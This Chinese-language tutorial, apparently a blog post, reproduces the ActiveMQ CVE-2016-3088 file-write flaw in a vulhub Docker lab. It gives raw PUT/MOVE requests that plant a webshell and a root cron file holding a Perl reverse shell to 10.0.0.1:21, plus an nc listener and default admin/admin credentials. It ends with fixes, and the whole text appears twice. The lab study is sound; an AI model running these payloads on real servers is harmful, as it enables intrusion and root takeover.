ActiveMQ CVE-2016-3088 任意文件写入漏洞Fileserver REST 接口 PUT/MOVE 组合利用与 vulhub 环境复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub导读本文以 vulhub 仓库中 CVE-2016-3088 漏洞环境为复现载体完整讲解 Apache ActiveMQ Fileserver 应用因可写文件 MOVE 移动双重能力叠加导致的任意文件写入漏洞。读者将掌握如何用 Docker Compose 一键搭建 ActiveMQ 5.11.1 漏洞靶场、Fileserver 无需登录即可 PUT/MOVE 文件的工作原理以及写入 WebShell、写入 crontab 反弹 Shell、覆盖 jetty.xml 三类实战利用手法与各自的适用前提。环境搭建一键拉起 ActiveMQ 5.11.1 漏洞靶场漏洞环境位于仓库的 activemq/CVE-2016-3088 目录在目录内执行docker compose build docker compose up -d对应的 docker-compose.yml 内容非常简洁version: 2 services: activemq: image: vulhub/activemq:5.11.1-with-cron ports: - 61616:61616 - 8161:8161环境对外暴露两个端口端口用途61616OpenWire 消息队列通信端口8161Web 控制台端口漏洞即出现在 Web 控制台中启动后访问http://your-ip:8161/看到 ActiveMQ 的 Web 管理页面即表示环境运行成功。值得注意的一个细节是镜像名中的with-cron后缀。查看仓库中构建该镜像的 Dockerfile可以看到它在基础镜像之上额外安装了cron和rsyslogFROM vulhub/activemq:5.11.1 LABEL maintainerphithon rootleavesongs.com RUN apt-get update \ apt-get install -y cron rsyslog --no-install-recommends \ rm -r /var/lib/apt/lists/* COPY entrypoint.sh /usr/local/bin/ CMD [/bin/sh, /usr/local/bin/entrypoint.sh]而 entrypoint.sh 在启动 ActiveMQ 的同时预先启动了 cron 守护进程和 rsyslog 日志服务#!/bin/sh cron -L15 rsyslogd /bin/sh -c /opt/activemq/bin/activemq console这是为后文写入 crontab 自动反弹 Shell的利用手法专门准备的只有容器内 cron 服务处于运行状态写入/etc/cron.d/的定时任务才能被真正触发执行。背景简述Web 控制台的三分天下ActiveMQ 的 Web 控制台默认端口 8161内部由三个应用组成应用用途是否需要登录admin管理员管理页面需要apiREST 接口需要fileserver文件存储接口不需要其中 fileserver 是一个 RESTful API 接口攻击者可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作。它被设计出来的初衷是为了弥补消息队列操作无法传输、存储二进制文件的缺陷。但该设计后来暴露出两个问题其使用率并不高文件操作容易出现漏洞。正因如此ActiveMQ 官方对 fileserver 的态度经历了两个阶段5.12.x ~ 5.13.x默认关闭 fileserver 应用可在conf/jetty.xml中手动开启5.14.0 之后彻底删除 fileserver 应用。因此在测试过程中务必关注 ActiveMQ 的版本避免在 fileserver 已被移除/关闭的版本上走弯路。本环境使用的是5.11.1恰好处于 fileserver 功能完整可用的阶段。漏洞原理写入与移动的组合拳本漏洞的原理非常简单根因是 fileserver 应用同时具备两项能力支持写入文件可以通过 PUT 请求向/fileserver/目录写入任意内容文件支持移动文件可以通过 MOVE 请求配合Destination头把文件移动到服务器上的任意路径。fileserver 自身只存储文件而不解析 JSP这限制了直接落 WebShell 的杀伤力但能写入 能移动的组合直接构成了任意文件写入漏洞——攻击者可以把任意内容写到服务器的任意位置权限允许的前提下。基于该能力文件写入存在三类典型的利用方法写入 WebShell写入 cron 或 SSH Key 等系统文件写入 jar 或 jetty.xml 等库与配置文件。各方法的优劣对比如下利用方法优点缺点/前提写入 WebShell门槛低、操作方便fileserver 不解析 JSPadmin/api 均需登录才能访问略显鸡肋写入 cron / SSH Key直接反弹 Shell较为方便需要 root 权限写入 jar可植入后门相对麻烦需要 jar 后门写入 jetty.xml方法较为靠谱需要知道 ActiveMQ 的绝对路径且依赖文件属主权限利用方法一写入 WebShellWebShell 必须落在 admin 或 api 应用目录下才能被解析执行而这两个应用都需要登录。好消息是 ActiveMQ 的默认账号密码均为admin。第一步获取 ActiveMQ 绝对路径使用默认凭据admin/admin登录后访问http://your-ip:8161/admin/test/systemProperties.jsp该页面会列出 Java 与 ActiveMQ 的系统属性其中activemq.home即 ActiveMQ 的安装绝对路径在本环境中该路径为/opt/activemq基础镜像 Dockerfile 中通过ENV ACTIVEMQ_HOME /opt/activemq设定Web 应用目录则为/opt/activemq/webapps/。第二步PUT 上传 WebShell 文件向 fileserver 写入一个包含 WebShell 内容的文件此处以2.txt为例PUT /fileserver/2.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976 webshell...第三步MOVE 移动到 webapps/api 目录使用 MOVE 请求将文件移动到 Web 目录下的 api 应用文件夹并改名为s.jspMOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0第四步访问 WebShell随后即可通过 api 应用访问 WebShell需保持登录态从截图可见WebShell 已运行在/opt/apache-activemq-5.11.1/webapps/api目录下具备文件管理与命令执行能力。由于 api 应用需要登录该利用链路要求攻击者先取得 admin 凭据或利用默认弱口令这正是其鸡肋之处。利用方法二写入 crontab自动化反弹 Shell相比 WebShell写入 crontab 定时任务是一套更稳健的利用链——无需依赖登录态且能自动化地周期性反弹 Shell。第一步PUT 上传 cron 配置文件构造一个反弹 Shell 的 cron 任务并上传PUT /fileserver/1.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 248 */1 * * * * root /usr/bin/perl -e use Socket;$i10.0.0.1;$p21;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};该任务的含义是每分钟以 root 身份执行一次 Perl 脚本主动连接攻击机10.0.0.1的21端口并反弹一个交互式 Shell。关键注意事项cron 配置文件的换行符必须是\nLF不能是\r\nCRLF否则 crontab 解析执行会失败。在发送原始 HTTP 请求时注意控制请求体中的实际字节。第二步MOVE 到 /etc/cron.d/将其移动到 cron 定时任务目录/etc/cron.d/rootMOVE /fileserver/1.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0第三步确认写入并等待反弹 Shell如果上述 PUT 与 MOVE 两个请求均返回204 No Content说明写入成功。在攻击机上先执行nc -l -p 21监听 21 端口等待最多一分钟即可收到反弹的 Shell从截图可见成功反弹后执行id返回uid0(root)即已获得容器内最高权限。前提条件该方法要求 ActiveMQ 进程以root 身份运行否则即使文件移动成功也没有权限向/etc/cron.d/写入。此外正如前文所述本环境镜像已内置并启动 cron 服务这是反弹任务能够周期性执行的必要条件。利用方法三写入 jetty.xml 或 jar第三种思路是覆盖 ActiveMQ 的 Web 容器配置或组件库覆盖jetty.xml理论上可以移除 admin 与 api 应用的登录限制之后再写入 WebShell形成免登录任意命令执行的完整链条覆盖 jar通过替换带后门的 jar 包实现代码执行。但该方法的可行性取决于文件属主权限在部分部署场景下jetty.xml和 jar 文件的属主是 Web 容器运行用户攻击者可能没有覆盖它们的权限。相比之下crontab 写入的成功率通常更高。需要说明的是原文档作者明确标注该方法尚未测试属于理论性利用思路实践时需结合目标环境的实际文件权限判断可行性。仓库源码佐证与利用前提小结回到本仓库可以清晰看到环境为每一种利用手法所做的准备仓库文件说明activemq/CVE-2016-3088/docker-compose.yml使用vulhub/activemq:5.11.1-with-cron镜像映射 61616/8161 端口base/activemq/5.11.1/Dockerfile基于 Java 7 构建下载安装 ActiveMQ 5.11.1设定ACTIVEMQ_HOME/opt/activemqbase/activemq/5.11.1/with-cron/Dockerfile额外安装 cron 与 rsyslog为 crontab 反弹 Shell 提供运行条件base/activemq/5.11.1/with-cron/entrypoint.sh启动顺序cron → rsyslogd → activemq console综合而言成功利用 CVE-2016-3088 需要满足以下前提ActiveMQ 版本处于 fileserver 可用阶段5.11.1 满足5.12.x~5.13.x 默认关闭5.14.0 已删除fileserver 应用对攻击者网络可达默认无需认证写入目标路径对 ActiveMQ 进程用户可写——写入 crontab/SSH Key 需要 root 权限写入 webapps 目录或 jetty.xml 则受 Web 容器用户权限约束。修复与防护建议根据 ActiveMQ 官方对 fileserver 的处理节奏防护措施可以按版本递进5.12.x ~ 5.13.x在conf/jetty.xml中关闭 fileserver 应用或通过访问控制策略限制/fileserver路径的网络访问5.14.0 及以上fileserver 已被彻底移除升级即可根除该攻击面通用加固修改 admin/api 控制台的默认弱口令admin/admin避免 WebShell 落地后直接被攻击者访问同时避免以 root 用户运行 ActiveMQ 进程降低任意文件写入被升级为系统命令执行的风险。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
ActiveMQ CVE-2016-3088 任意文件写入漏洞：Fileserver REST 接口 PUT/MOVE 组合利用与 vulhub 环境复现
ActiveMQ CVE-2016-3088 任意文件写入漏洞Fileserver REST 接口 PUT/MOVE 组合利用与 vulhub 环境复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub导读本文以 vulhub 仓库中 CVE-2016-3088 漏洞环境为复现载体完整讲解 Apache ActiveMQ Fileserver 应用因可写文件 MOVE 移动双重能力叠加导致的任意文件写入漏洞。读者将掌握如何用 Docker Compose 一键搭建 ActiveMQ 5.11.1 漏洞靶场、Fileserver 无需登录即可 PUT/MOVE 文件的工作原理以及写入 WebShell、写入 crontab 反弹 Shell、覆盖 jetty.xml 三类实战利用手法与各自的适用前提。环境搭建一键拉起 ActiveMQ 5.11.1 漏洞靶场漏洞环境位于仓库的 activemq/CVE-2016-3088 目录在目录内执行docker compose build docker compose up -d对应的 docker-compose.yml 内容非常简洁version: 2 services: activemq: image: vulhub/activemq:5.11.1-with-cron ports: - 61616:61616 - 8161:8161环境对外暴露两个端口端口用途61616OpenWire 消息队列通信端口8161Web 控制台端口漏洞即出现在 Web 控制台中启动后访问http://your-ip:8161/看到 ActiveMQ 的 Web 管理页面即表示环境运行成功。值得注意的一个细节是镜像名中的with-cron后缀。查看仓库中构建该镜像的 Dockerfile可以看到它在基础镜像之上额外安装了cron和rsyslogFROM vulhub/activemq:5.11.1 LABEL maintainerphithon rootleavesongs.com RUN apt-get update \ apt-get install -y cron rsyslog --no-install-recommends \ rm -r /var/lib/apt/lists/* COPY entrypoint.sh /usr/local/bin/ CMD [/bin/sh, /usr/local/bin/entrypoint.sh]而 entrypoint.sh 在启动 ActiveMQ 的同时预先启动了 cron 守护进程和 rsyslog 日志服务#!/bin/sh cron -L15 rsyslogd /bin/sh -c /opt/activemq/bin/activemq console这是为后文写入 crontab 自动反弹 Shell的利用手法专门准备的只有容器内 cron 服务处于运行状态写入/etc/cron.d/的定时任务才能被真正触发执行。背景简述Web 控制台的三分天下ActiveMQ 的 Web 控制台默认端口 8161内部由三个应用组成应用用途是否需要登录admin管理员管理页面需要apiREST 接口需要fileserver文件存储接口不需要其中 fileserver 是一个 RESTful API 接口攻击者可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作。它被设计出来的初衷是为了弥补消息队列操作无法传输、存储二进制文件的缺陷。但该设计后来暴露出两个问题其使用率并不高文件操作容易出现漏洞。正因如此ActiveMQ 官方对 fileserver 的态度经历了两个阶段5.12.x ~ 5.13.x默认关闭 fileserver 应用可在conf/jetty.xml中手动开启5.14.0 之后彻底删除 fileserver 应用。因此在测试过程中务必关注 ActiveMQ 的版本避免在 fileserver 已被移除/关闭的版本上走弯路。本环境使用的是5.11.1恰好处于 fileserver 功能完整可用的阶段。漏洞原理写入与移动的组合拳本漏洞的原理非常简单根因是 fileserver 应用同时具备两项能力支持写入文件可以通过 PUT 请求向/fileserver/目录写入任意内容文件支持移动文件可以通过 MOVE 请求配合Destination头把文件移动到服务器上的任意路径。fileserver 自身只存储文件而不解析 JSP这限制了直接落 WebShell 的杀伤力但能写入 能移动的组合直接构成了任意文件写入漏洞——攻击者可以把任意内容写到服务器的任意位置权限允许的前提下。基于该能力文件写入存在三类典型的利用方法写入 WebShell写入 cron 或 SSH Key 等系统文件写入 jar 或 jetty.xml 等库与配置文件。各方法的优劣对比如下利用方法优点缺点/前提写入 WebShell门槛低、操作方便fileserver 不解析 JSPadmin/api 均需登录才能访问略显鸡肋写入 cron / SSH Key直接反弹 Shell较为方便需要 root 权限写入 jar可植入后门相对麻烦需要 jar 后门写入 jetty.xml方法较为靠谱需要知道 ActiveMQ 的绝对路径且依赖文件属主权限利用方法一写入 WebShellWebShell 必须落在 admin 或 api 应用目录下才能被解析执行而这两个应用都需要登录。好消息是 ActiveMQ 的默认账号密码均为admin。第一步获取 ActiveMQ 绝对路径使用默认凭据admin/admin登录后访问http://your-ip:8161/admin/test/systemProperties.jsp该页面会列出 Java 与 ActiveMQ 的系统属性其中activemq.home即 ActiveMQ 的安装绝对路径在本环境中该路径为/opt/activemq基础镜像 Dockerfile 中通过ENV ACTIVEMQ_HOME /opt/activemq设定Web 应用目录则为/opt/activemq/webapps/。第二步PUT 上传 WebShell 文件向 fileserver 写入一个包含 WebShell 内容的文件此处以2.txt为例PUT /fileserver/2.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976 webshell...第三步MOVE 移动到 webapps/api 目录使用 MOVE 请求将文件移动到 Web 目录下的 api 应用文件夹并改名为s.jspMOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0第四步访问 WebShell随后即可通过 api 应用访问 WebShell需保持登录态从截图可见WebShell 已运行在/opt/apache-activemq-5.11.1/webapps/api目录下具备文件管理与命令执行能力。由于 api 应用需要登录该利用链路要求攻击者先取得 admin 凭据或利用默认弱口令这正是其鸡肋之处。利用方法二写入 crontab自动化反弹 Shell相比 WebShell写入 crontab 定时任务是一套更稳健的利用链——无需依赖登录态且能自动化地周期性反弹 Shell。第一步PUT 上传 cron 配置文件构造一个反弹 Shell 的 cron 任务并上传PUT /fileserver/1.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 248 */1 * * * * root /usr/bin/perl -e use Socket;$i10.0.0.1;$p21;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};该任务的含义是每分钟以 root 身份执行一次 Perl 脚本主动连接攻击机10.0.0.1的21端口并反弹一个交互式 Shell。关键注意事项cron 配置文件的换行符必须是\nLF不能是\r\nCRLF否则 crontab 解析执行会失败。在发送原始 HTTP 请求时注意控制请求体中的实际字节。第二步MOVE 到 /etc/cron.d/将其移动到 cron 定时任务目录/etc/cron.d/rootMOVE /fileserver/1.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0第三步确认写入并等待反弹 Shell如果上述 PUT 与 MOVE 两个请求均返回204 No Content说明写入成功。在攻击机上先执行nc -l -p 21监听 21 端口等待最多一分钟即可收到反弹的 Shell从截图可见成功反弹后执行id返回uid0(root)即已获得容器内最高权限。前提条件该方法要求 ActiveMQ 进程以root 身份运行否则即使文件移动成功也没有权限向/etc/cron.d/写入。此外正如前文所述本环境镜像已内置并启动 cron 服务这是反弹任务能够周期性执行的必要条件。利用方法三写入 jetty.xml 或 jar第三种思路是覆盖 ActiveMQ 的 Web 容器配置或组件库覆盖jetty.xml理论上可以移除 admin 与 api 应用的登录限制之后再写入 WebShell形成免登录任意命令执行的完整链条覆盖 jar通过替换带后门的 jar 包实现代码执行。但该方法的可行性取决于文件属主权限在部分部署场景下jetty.xml和 jar 文件的属主是 Web 容器运行用户攻击者可能没有覆盖它们的权限。相比之下crontab 写入的成功率通常更高。需要说明的是原文档作者明确标注该方法尚未测试属于理论性利用思路实践时需结合目标环境的实际文件权限判断可行性。仓库源码佐证与利用前提小结回到本仓库可以清晰看到环境为每一种利用手法所做的准备仓库文件说明activemq/CVE-2016-3088/docker-compose.yml使用vulhub/activemq:5.11.1-with-cron镜像映射 61616/8161 端口base/activemq/5.11.1/Dockerfile基于 Java 7 构建下载安装 ActiveMQ 5.11.1设定ACTIVEMQ_HOME/opt/activemqbase/activemq/5.11.1/with-cron/Dockerfile额外安装 cron 与 rsyslog为 crontab 反弹 Shell 提供运行条件base/activemq/5.11.1/with-cron/entrypoint.sh启动顺序cron → rsyslogd → activemq console综合而言成功利用 CVE-2016-3088 需要满足以下前提ActiveMQ 版本处于 fileserver 可用阶段5.11.1 满足5.12.x~5.13.x 默认关闭5.14.0 已删除fileserver 应用对攻击者网络可达默认无需认证写入目标路径对 ActiveMQ 进程用户可写——写入 crontab/SSH Key 需要 root 权限写入 webapps 目录或 jetty.xml 则受 Web 容器用户权限约束。修复与防护建议根据 ActiveMQ 官方对 fileserver 的处理节奏防护措施可以按版本递进5.12.x ~ 5.13.x在conf/jetty.xml中关闭 fileserver 应用或通过访问控制策略限制/fileserver路径的网络访问5.14.0 及以上fileserver 已被彻底移除升级即可根除该攻击面通用加固修改 admin/api 控制台的默认弱口令admin/admin避免 WebShell 落地后直接被攻击者访问同时避免以 root 用户运行 ActiveMQ 进程降低任意文件写入被升级为系统命令执行的风险。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
